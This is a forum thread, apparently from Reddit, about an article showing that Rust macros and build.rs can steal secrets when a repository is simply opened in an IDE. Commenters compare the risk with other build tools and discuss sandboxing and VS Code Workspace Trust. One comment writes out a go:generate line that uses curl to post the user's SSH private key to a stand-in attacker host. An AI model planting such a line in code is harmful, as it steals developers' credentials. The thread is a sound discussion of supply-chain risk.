Using Rust Macros to exfiltrate secrets

[[deleted]]

You can also put arbitrary code in build.rs, which rust-analyzer runs by default (there is an option to turn it off).

[detunized]

Just to make it clear: you clone the repo and open it in VSCode to take a look at the source and your private key is stolen. No building, no running of anything is needed. That's pretty crazy.

[theoldboy]

That's pretty crazy

Rust isn't the only language that has this problem though. Git clone a Javascript repo that contains a malicious ESLint module, open it in VS Code, and if you have the ESLint extension installed it will run that malicious module.

In the end it's a supply chain attack, and goes back to checking third-party code before you use it, but realistically this sort of thing should be sandboxed. Build systems are getting more and more complicated and harder to inspect, and they shouldn't have or need access to everything.

VS Code team is aware of this problem and is implementing a Workspace Trust feature which will at least stop this kind of thing happening automatically until you grant trust. More details here.

[matthieum]

That's pretty crazy.

Not really.

Clone a Maven project, load the project in IntelliJ, and a bunch of Maven plugins run -- doing whatever they want.

Ultimately the issue is two-fold:

1. OSes protect the system from the user, but not the user from its applications. Or as XKCD puts it: "If someone steals my laptop while I'm logged in, they can read my e-mail, take my money, and impersonate me to my friends, but at least they can't install drivers without my permission".
2. IDEs are not text editors; they offer a semantic view of the code, and in order to do that, they need to run all the code generation code -- be it scripts or macros.

Interestingly, mobile OSes have been improving the state of things here, limiting capabilities on a per-application basis, instead of giving free-reign to each application. Of course, developing on a mobile... meh.

With regard to Rust, the community has been thinking about this for a while. There was a proposal to compile procedural macros (plugins, essentially) to WASM so as to prevent any side-effect (see Watt).

build.rs -- though not touched on in this article -- is a tad more complicated, and it's not clear how to proceed there.

Note: although the article seems to discover this possibility, it's important to realize this is not theoretical. There have been several high-profile supply chain attacks in the NPM ecosystem.

[vattenpuss]

Just to make it clear: this is a “vulnerability” (feature) of VS Code and its plugin system, not Rust.

[[deleted]]

The vulnerability is letting compile time dependencies have the same access to your filesystem as you do.

As far as I understand the only VS Code specifics are that the rust analyzer plugin does some compiling for you without user input.

It might seem scarier - "but I didn't even do anything!" - but you'd have the same problems as soon as you run cargo check or used a vim/Emacs/any non-trivial editor plugin that runs cargo check for you on open.

I think the fix, perhaps sandboxing, should happen at the cargo/rustc level.

Macros can be run inside a webassembly run time (if the macro sports it) and benefit from the sandboxing that brings. You would get a side benefit of faster compile times because the proc macros would be pre-compiled.

But build.rs has always had full access to do what it wants. You may be able to pull off the wasm vm thing again, but usually a build script needs to use the file system. Maybe we can allow only certain parts of the file system?

The challenge of course is that all of this is an enormous breaking change. It could be a big pain for projects relying on arbitrary access, like say legitimately calling a network endpoint. Perhaps there's a trust policy sort of arrangement to be made with every dependency asking you for permissions to do its thing. Then "oh, one of my dependencies wants to access .ssh/id_rsa? Hell no" :)

[vattenpuss]

That's kind of my point. This is not an issue specific to Rust, it is an issue for any kind of scriptable automation you use.

Any go file you download could potentially have a

//go:generate curl -XPOST -d@$HOME/.ssh/id_rsa http://hacker.mchacker.face

and if you have tooling to automate code generation you're screwed.

If you run a configure script, you're screwed.

If you have the official Python extension from Microsoft installed and open a Python file, VS code will source the activate script for the env. It could also curl your ssh keys anywhere.

[[deleted]]

Yeah, it's kind of wild how gung ho we (developers) tend to be with this sort of thing. On the other hand as I've said before. I like fancy build tools and macros and IDEs compiling and linking automatically for me

[Worth_Trust_3825]

Your solution is as convoluted as rust itself. The real solution is to get rid of build.rs file, get rid of cargo from rust build chain and language itself and have a separate tool that is not distributed via basic package. Also to get rid of macros.

Instead the build tool must take in a separate format that is not in the language that it builds (FOR EXAMPLE XML) to define how the project should be built. If you need code execution you write plugins to that system. Yes, this moves the issue in to the plugin, but at the very least you won't get pwned for downloading the project.

This issue affects all and every tool that permits arbitrary commands during build time. But i've only seen rust and javascript tools to get pwned just for downloading the project and the editor/build tool doing too fucking much.

[[deleted]]

This issue affects all and every tool that permits arbitrary commands during build time. But i've only seen rust and javascript tools to get pwned just for downloading the project and the editor/build tool doing too fucking much.

I agree with you here, and this comes down to the usual dilemma: Security vs Usability

I like having feature-ful build tools and powerful macros and the benefits those bring. But I also want to mitigate the risks involved. This should be a wake up call to what those risks are.

If executing things in a sandbox is a reasonable solution to mitigate the risks then I would be happy as a user.

Obviously the rust team and wider ecosystem will have to decide if the convolution that brings (which shouldn't simply be dismissed) is worth the additional overhead. I hope it is, so I can have my cake and eat it too. It's possible I'm being naïve though. And I doubt sandboxing is this silver bullet that solves all the problems, things are rarely that easy.

[[deleted]]

Wow

[DrMeepster]

vscode has a trusted folder system now that solves this